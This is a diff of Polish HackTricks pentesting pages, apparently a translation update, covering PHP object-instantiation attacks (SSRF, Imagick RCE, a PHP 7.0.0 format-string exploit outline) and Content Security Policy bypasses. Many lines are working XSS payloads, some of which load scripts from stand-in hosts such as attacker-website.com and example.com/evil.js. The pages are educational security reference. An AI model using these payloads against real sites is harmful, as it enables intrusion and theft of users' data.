Konstruktory, które mogą być interesujące, można zidentyfikować za pomocą API refleksji, jak pokazano w poniższym przykładzie oraz w linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
Konstruktory warte uwagi można zidentyfikować przy użyciu reflection API, jak pokazano w poniższym przykładzie oraz pod linkiem [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
|
||||
**RCE za pomocą konkretnych metod obejmuje:**
|
||||
**RCE przez specyficzne metody obejmuje:**
|
||||
|
||||
### **SSRF + deserializacja Phar**
|
||||
### **SSRF + Phar Deserialization**
|
||||
|
||||
Klasa `SplFileObject` umożliwia SSRF poprzez swój konstruktor, pozwalając na połączenia z dowolnym URL:
|
||||
Klasa `SplFileObject` umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia z dowolnym URL:
|
||||
```php
|
||||
new SplFileObject('http://attacker.com/');
|
||||
```
|
||||
SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0 przy użyciu protokołu Phar.
|
||||
SSRF może prowadzić do deserialization attacks w wersjach PHP przed 8.0, wykorzystując protokół Phar.
|
||||
|
||||
### **Wykorzystywanie PDO**
|
||||
### **Exploiting PDOs**
|
||||
|
||||
Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:
|
||||
Konstruktor klasy PDO pozwala na połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:
|
||||
```php
|
||||
new PDO("sqlite:/tmp/test.txt")
|
||||
```
|
||||
### **SoapClient/SimpleXMLElement XXE**
|
||||
|
||||
Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE za pośrednictwem konstruktorów `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2.
|
||||
Wersje PHP do 5.3.22 oraz 5.4.12 były podatne na ataki XXE poprzez konstruktory `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2.
|
||||
|
||||
## RCE za pomocą rozszerzenia Imagick
|
||||
## RCE przez rozszerzenie Imagick
|
||||
|
||||
W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** poprzez instancjonowanie nowych obiektów. Stwarza to możliwość wykorzystania luk w zabezpieczeniach.
|
||||
W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** przez tworzenie nowych obiektów. Stwarza to możliwość eksploatacji podatności.
|
||||
|
||||
### Parser VID
|
||||
### VID parser
|
||||
|
||||
Zidentyfikowano zdolność parsera VID do zapisywania treści w dowolnie określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, osiągając zdalne wykonanie kodu (RCE).
|
||||
Zidentyfikowano, że parser VID ma możliwość zapisu zawartości do dowolnej wskazanej ścieżki w systemie plików. Może to doprowadzić do umieszczenia PHP shell w katalogu dostępnym przez web, osiągając Remote Code Execution (RCE).
|
||||
|
||||
#### Parser VID + Przesyłanie plików
|
||||
#### VID Parser + File Upload
|
||||
|
||||
Zauważono, że PHP tymczasowo przechowuje przesyłane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystując protokół **msl**, może obsługiwać znaki wieloznaczne w ścieżkach plików, co ułatwia przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.
|
||||
Zauważono, że PHP tymczasowo przechowuje przesłane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystujący protokół **msl**, potrafi obsługiwać znaki wieloznaczne w ścieżkach plików, umożliwiając przeniesienie pliku tymczasowego do wybranej lokalizacji. Metoda ta daje dodatkową drogę do osiągnięcia arbitralnego zapisu plików w systemie plików.
|
||||
|
||||
### Awaria PHP + Atak Brute Force
|
||||
### PHP Crash + Brute Force
|
||||
|
||||
Metoda opisana w [**oryginalnym opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez atak brute force na nazwę tymczasowego pliku, możliwe jest, aby Imagick wykonał dowolny kod PHP. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick.
|
||||
Metoda opisana w [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują crash serwera przed ich usunięciem. Poprzez brute-forcing nazwy pliku tymczasowego, Imagick może wykonać arbitralny kod PHP. Jednak technika ta okazała się skuteczna tylko w przestarzałej wersji ImageMagick.
|
||||
|
||||
## References
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
Gdy nazwa klasy jest kontrolowana przez dane wejściowe użytkownika (np. `new $_GET['model']()`), w PHP 7.0.0 wprowadzono przejściowy błąd podczas refaktoryzacji `Throwable`, w którym silnik błędnie traktował nazwę klasy jako format string dla printf podczas rozwiązywania. To umożliwia klasyczne prymitywy w stylu printf w PHP: leaks with `%p`, kontrolę liczby zapisów przez specyfikatory szerokości oraz arbitralne zapisy z `%n` przeciwko wskaźnikom w procesie (np. wpisy GOT w buildach ELF).
|
||||
|
||||
Minimalny przykład odtwarzający podatność:
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
Zarys eksploatacji (wg referencji):
|
||||
- Leak adresy za pomocą `%p` w nazwie klasy, aby znaleźć adres umożliwiający zapis:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Użyj parametrów pozycyjnych i specyfikatorów szerokości, aby ustawić dokładną liczbę bajtów, następnie `%n`, aby zapisać tę wartość pod adresem dostępnym na stosie, celując w slot GOT (np. `free`), aby częściowo nadpisać go na `system`.
|
||||
- Wywołaj przejętą funkcję, przekazując nazwę klasy zawierającą shell pipe, by osiągnąć `system("id")`.
|
||||
|
||||
Uwagi:
|
||||
- Działa tylko na PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); naprawione w kolejnych wydaniach. Ważność: krytyczna, jeśli istnieje możliwość arbitralnego tworzenia instancji klasy.
|
||||
- Typowe payloads łączą wiele `%p`, aby przeszukiwać stos, a następnie `%.<width>d%<pos>$n`, aby doprowadzić do częściowego nadpisania.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Co to jest CSP
|
||||
## Czym jest CSP
|
||||
|
||||
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
Content Security Policy (CSP) jest rozpoznawana jako technologia przeglądarki, której głównym celem jest **ochrona przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i określanie ścieżek oraz źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Do takich zasobów należą elementy takie jak obrazy, ramki oraz JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu z łańcuchów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
|
||||
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
||||
Wdrożenie CSP odbywa się przez **nagłówki odpowiedzi** lub przez umieszczenie **meta elementów w stronie HTML**. Przeglądarki egzekwują tę politykę i natychmiast blokują wykryte naruszenia.
|
||||
|
||||
- Wdrożone za pomocą nagłówka odpowiedzi:
|
||||
- Implemented via response header:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
- Zaimplementowane za pomocą tagu meta:
|
||||
- Zaimplementowane za pomocą meta tagu:
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Nagłówki
|
||||
|
||||
CSP może być egzekwowany lub monitorowany za pomocą tych nagłówków:
|
||||
CSP można egzekwować lub monitorować za pomocą następujących nagłówków:
|
||||
|
||||
- `Content-Security-Policy`: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia.
|
||||
- `Content-Security-Policy-Report-Only`: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych.
|
||||
- `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia.
|
||||
- `Content-Security-Policy-Report-Only`: Używany do monitorowania; zgłasza naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych.
|
||||
|
||||
### Definiowanie zasobów
|
||||
|
||||
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonanie JavaScript w linii i użycie `eval()`. Przykładowa polityka to:
|
||||
CSP ogranicza źródła ładowania zarówno treści aktywnych, jak i pasywnych, kontrolując takie aspekty jak wykonywanie inline JavaScript i użycie `eval()`. Przykładowa polityka to:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||||
media-src https://videos.cdn.mozilla.net;
|
||||
object-src 'none';
|
||||
```
|
||||
### Dyrektywy
|
||||
### Directives
|
||||
|
||||
- **script-src**: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwane zdarzenia lub arkusze stylów XSLT.
|
||||
- **default-src**: Ustala domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw pobierania.
|
||||
- **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek.
|
||||
- **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ogranicza adresy URL dla ramek.
|
||||
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **script-src**: Pozwala na określone źródła dla JavaScriptu, w tym URL-e, skrypty inline oraz skrypty wywołane przez obsługiwacze zdarzeń lub arkusze XSLT.
|
||||
- **default-src**: Ustawia domyślną politykę dla pobierania zasobów, gdy brak jest specyficznych dyrektyw fetch.
|
||||
- **child-src**: Określa dozwolone zasoby dla web workers i zawartości osadzonych ramek.
|
||||
- **connect-src**: Ogranicza URL-e, które można ładować przy użyciu interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ogranicza URL-e dla ramek.
|
||||
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, ma zastosowanie do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **img-src**: Definiuje dozwolone źródła dla obrazów.
|
||||
- **font-src**: Określa ważne źródła dla czcionek ładowanych za pomocą `@font-face`.
|
||||
- **font-src**: Określa poprawne źródła dla fontów ładowanych przy użyciu `@font-face`.
|
||||
- **manifest-src**: Definiuje dozwolone źródła plików manifestu aplikacji.
|
||||
- **media-src**: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.
|
||||
- **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>`, i `<applet>`.
|
||||
- **base-uri**: Określa dozwolone adresy URL do ładowania za pomocą elementów `<base>`.
|
||||
- **form-action**: Wymienia ważne punkty końcowe dla przesyłania formularzy.
|
||||
- **media-src**: Definiuje dozwolone źródła dla ładowania obiektów multimedialnych.
|
||||
- **object-src**: Określa dozwolone źródła dla elementów `<object>`, `<embed>`, i `<applet>`.
|
||||
- **base-uri**: Określa dozwolone URL-e do ładowania przy użyciu elementów `<base>`.
|
||||
- **form-action**: Wymienia prawidłowe endpointy dla wysyłania formularzy.
|
||||
- **plugin-types**: Ogranicza typy mime, które strona może wywołać.
|
||||
- **upgrade-insecure-requests**: Instrukcja dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
|
||||
- **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox w `<iframe>`.
|
||||
- **report-to**: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.
|
||||
- **worker-src**: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
|
||||
- **prefetch-src**: Określa ważne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.
|
||||
- **navigate-to**: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open, itp.)
|
||||
- **upgrade-insecure-requests**: Nakazuje przeglądarkom przepisać URL-e HTTP na HTTPS.
|
||||
- **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox elementu `<iframe>`.
|
||||
- **report-to**: Określa grupę, do której zostanie wysłane zgłoszenie, jeśli polityka zostanie naruszona.
|
||||
- **worker-src**: Określa poprawne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
|
||||
- **prefetch-src**: Określa poprawne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.
|
||||
- **navigate-to**: Ogranicza URL-e, do których dokument może nawigować dowolnym sposobem (a, form, window.location, window.open, itp.)
|
||||
|
||||
### Źródła
|
||||
### Sources
|
||||
|
||||
- `*`: Zezwala na wszystkie adresy URL, z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Zezwala na ładowanie z tej samej domeny.
|
||||
- `'data'`: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy kodowane w Base64).
|
||||
- `*`: Pozwala na wszystkie URL-e z wyjątkiem schematów `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Pozwala na ładowanie z tej samej domeny.
|
||||
- `'data'`: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazy zakodowane w Base64).
|
||||
- `'none'`: Blokuje ładowanie z jakiegokolwiek źródła.
|
||||
- `'unsafe-eval'`: Zezwala na użycie `eval()` i podobnych metod, niezalecane z powodów bezpieczeństwa.
|
||||
- `'unsafe-hashes'`: Umożliwia określone inline event handlers.
|
||||
- `'unsafe-inline'`: Zezwala na użycie zasobów inline, takich jak inline `<script>` lub `<style>`, niezalecane z powodów bezpieczeństwa.
|
||||
- `'nonce'`: Lista dozwolonych skryptów inline używających kryptograficznego nonca (liczba używana raz).
|
||||
- Jeśli masz ograniczoną egzekucję JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
|
||||
- `'unsafe-eval'`: Pozwala na użycie `eval()` i podobnych metod; niezalecane ze względów bezpieczeństwa.
|
||||
- `'unsafe-hashes'`: Włącza określone wbudowane obsługiwacze zdarzeń.
|
||||
- `'unsafe-inline'`: Pozwala na użycie zasobów inline, takich jak inline `<script>` lub `<style>`; niezalecane ze względów bezpieczeństwa.
|
||||
- `'nonce'`: Biała lista dla określonych skryptów inline wykorzystujących kryptograficzny nonce (liczba użyta jednokrotnie).
|
||||
- Jeśli wykonywanie JS jest ograniczone, możliwe jest pobranie użytego nonce wewnątrz strony przy pomocy `doc.defaultView.top.document.querySelector("[nonce]")` i następnie ponowne jego użycie do załadowania złośliwego skryptu (jeśli używany jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), na przykład:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Załaduj skrypt ponownie używając nonca</summary>
|
||||
<summary>Załaduj skrypt ponownie wykorzystując nonce</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -88,26 +88,27 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Biała lista skryptów z określonym hashem sha256.
|
||||
- `'strict-dynamic'`: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostało to dodane do białej listy za pomocą nonce lub hasha.
|
||||
- `'host'`: Określa konkretnego hosta, takiego jak `example.com`.
|
||||
- `https:`: Ogranicza adresy URL do tych, które używają HTTPS.
|
||||
- `blob:`: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresy URL Blob utworzone za pomocą JavaScript).
|
||||
- `'sha256-<hash>'`: Zezwala na skrypty o określonym hashu sha256.
|
||||
- `'strict-dynamic'`: Pozwala ładować skrypty z dowolnego źródła, jeśli zostały dodane do białej listy przez nonce lub hash.
|
||||
- `'host'`: Określa konkretny host, np. `example.com`.
|
||||
- `https:`: Ogranicza adresy URL do tych korzystających z HTTPS.
|
||||
- `blob:`: Pozwala na ładowanie zasobów z Blob URL-i (np. Blob URL-i utworzonych przez JavaScript).
|
||||
- `filesystem:`: Pozwala na ładowanie zasobów z systemu plików.
|
||||
- `'report-sample'`: Zawiera próbkę naruszającego kodu w raporcie o naruszeniu (przydatne do debugowania).
|
||||
- `'strict-origin'`: Podobne do 'self', ale zapewnia, że poziom bezpieczeństwa protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).
|
||||
- `'strict-origin-when-cross-origin'`: Wysyła pełne adresy URL podczas wykonywania żądań z tego samego źródła, ale wysyła tylko źródło, gdy żądanie jest między źródłami.
|
||||
- `'unsafe-allow-redirects'`: Pozwala na ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie jest zalecane, ponieważ osłabia bezpieczeństwo.
|
||||
- `'report-sample'`: Dołącza próbkę naruszającego kodu do raportu o naruszeniu (przydatne przy debugowaniu).
|
||||
- `'strict-origin'`: Podobne do 'self', ale wymusza, aby poziom bezpieczeństwa protokołu źródeł odpowiadał dokumentowi (tylko bezpieczne originy mogą ładować zasoby z bezpiecznych originów).
|
||||
- `'strict-origin-when-cross-origin'`: Wysyła pełne URL-e przy żądaniach same-origin, ale przy żądaniach cross-origin wysyła tylko origin.
|
||||
- `'unsafe-allow-redirects'`: Pozwala na ładowanie zasobów, które natychmiast przekierowują do innego zasobu. Niezalecane, bo osłabia bezpieczeństwo.
|
||||
|
||||
## Niebezpieczne zasady CSP
|
||||
## Niebezpieczne reguły CSP
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Działający ładunek: `"/><script>alert(1);</script>`
|
||||
Działający payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' przez Iframes
|
||||
|
||||
#### self + 'unsafe-inline' za pomocą Iframes
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -115,24 +116,24 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> To nie działa, aby uzyskać więcej informacji [**sprawdź to**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
> [!CAUTION]
|
||||
> To nie działa, więcej informacji znajdziesz w [**tym wątku**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
Działający ładunek:
|
||||
Działający payload:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Jeśli w jakiś sposób możesz sprawić, że **dozwolony kod JS utworzy nowy tag skryptu** w DOM z twoim kodem JS, ponieważ dozwolony skrypt go tworzy, **nowy tag skryptu będzie mógł być wykonany**.
|
||||
Jeśli w jakiś sposób sprawisz, że **dozwolony kod JS utworzy w DOM nowy script tag** zawierający twój kod JS — ponieważ tworzy go dozwolony skrypt — to **nowy script tag będzie dozwolony do wykonania**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Działający ładunek:
|
||||
Działający payload:
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
@ -143,7 +144,7 @@ Działający ładunek:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Działające ładunki:
|
||||
Działające payloads:
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
@ -153,30 +154,30 @@ Działające ładunki:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Jeśli możesz przesłać plik JS, możesz obejść tę CSP:
|
||||
Jeśli możesz przesłać plik JS możesz obejść ten CSP:
|
||||
|
||||
Działający ładunek:
|
||||
Działający payload:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Jednakże, jest bardzo prawdopodobne, że serwer **waliduje przesłany plik** i pozwoli ci tylko na **przesyłanie określonego typu plików**.
|
||||
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
|
||||
|
||||
Ponadto, nawet jeśli udałoby ci się przesłać **kod JS wewnątrz** pliku z rozszerzeniem akceptowanym przez serwer (jak: _script.png_), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki takie jak Chrome **odrzucą wykonanie kodu Javascript** wewnątrz czegoś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie zna** rozszerzenia _**.wave**_, dlatego nie serwuje go z **typem MIME jak audio/\***.
|
||||
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
|
||||
|
||||
Stąd, jeśli znajdziesz XSS i przesyłanie plików, i uda ci się znaleźć **błędnie zinterpretowane rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot ([przykłady poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
|
||||
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Jeśli nie można wstrzyknąć JS, możesz spróbować wyeksfiltrować na przykład dane uwierzytelniające **wstrzykując akcję formularza** (i być może oczekując, że menedżery haseł automatycznie wypełnią hasła). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ również, że `default-src` nie obejmuje akcji formularzy.
|
||||
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> W przypadku niektórych z poniższych ładunków **`unsafe-eval` nie jest nawet potrzebne**.
|
||||
> Dla niektórych z poniższych payloadów **`unsafe-eval` nie jest nawet potrzebny**.
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Załaduj podatną wersję angular i wykonaj dowolny JS:
|
||||
Załaduj podatną wersję angular i wykonaj dowolny kod JS:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -197,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads używające Angular + biblioteki z funkcjami, które zwracają obiekt `window` ([zobacz ten wpis](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!TIP]
|
||||
> Post pokazuje, że możesz **załadować** wszystkie **biblioteki** z `cdn.cloudflare.com` (lub z dowolnego innego dozwolonego repozytorium JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić **które funkcje z których bibliotek zwracają obiekt `window`**.
|
||||
> Wpis pokazuje, że możesz **załadować** wszystkie **biblioteki** z `cdn.cloudflare.com` (lub z innego dozwolonego repozytorium bibliotek JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić **które funkcje z których bibliotek zwracają obiekt `window`**.
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -230,9 +231,9 @@ Angular XSS z nazwy klasy:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Wykorzystywanie kodu JS google recaptcha
|
||||
#### Nadużywanie google recaptcha JS code
|
||||
|
||||
Zgodnie z [**tym opisem CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) możesz wykorzystać [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
|
||||
Według [**tego writeupu z CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) możesz nadużyć [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -243,7 +244,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Więcej [**ładunków z tego opisu**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Więcej [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -260,21 +261,21 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Wykorzystywanie www.google.com do otwartego przekierowania
|
||||
#### Wykorzystywanie www.google.com do open redirect
|
||||
|
||||
Poniższy URL przekierowuje do example.com (stąd: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Poniższy URL przekierowuje na example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Abusing \*.google.com/script.google.com
|
||||
Wykorzystywanie \*.google.com/script.google.com
|
||||
|
||||
Możliwe jest nadużycie Google Apps Script, aby uzyskać informacje na stronie w script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
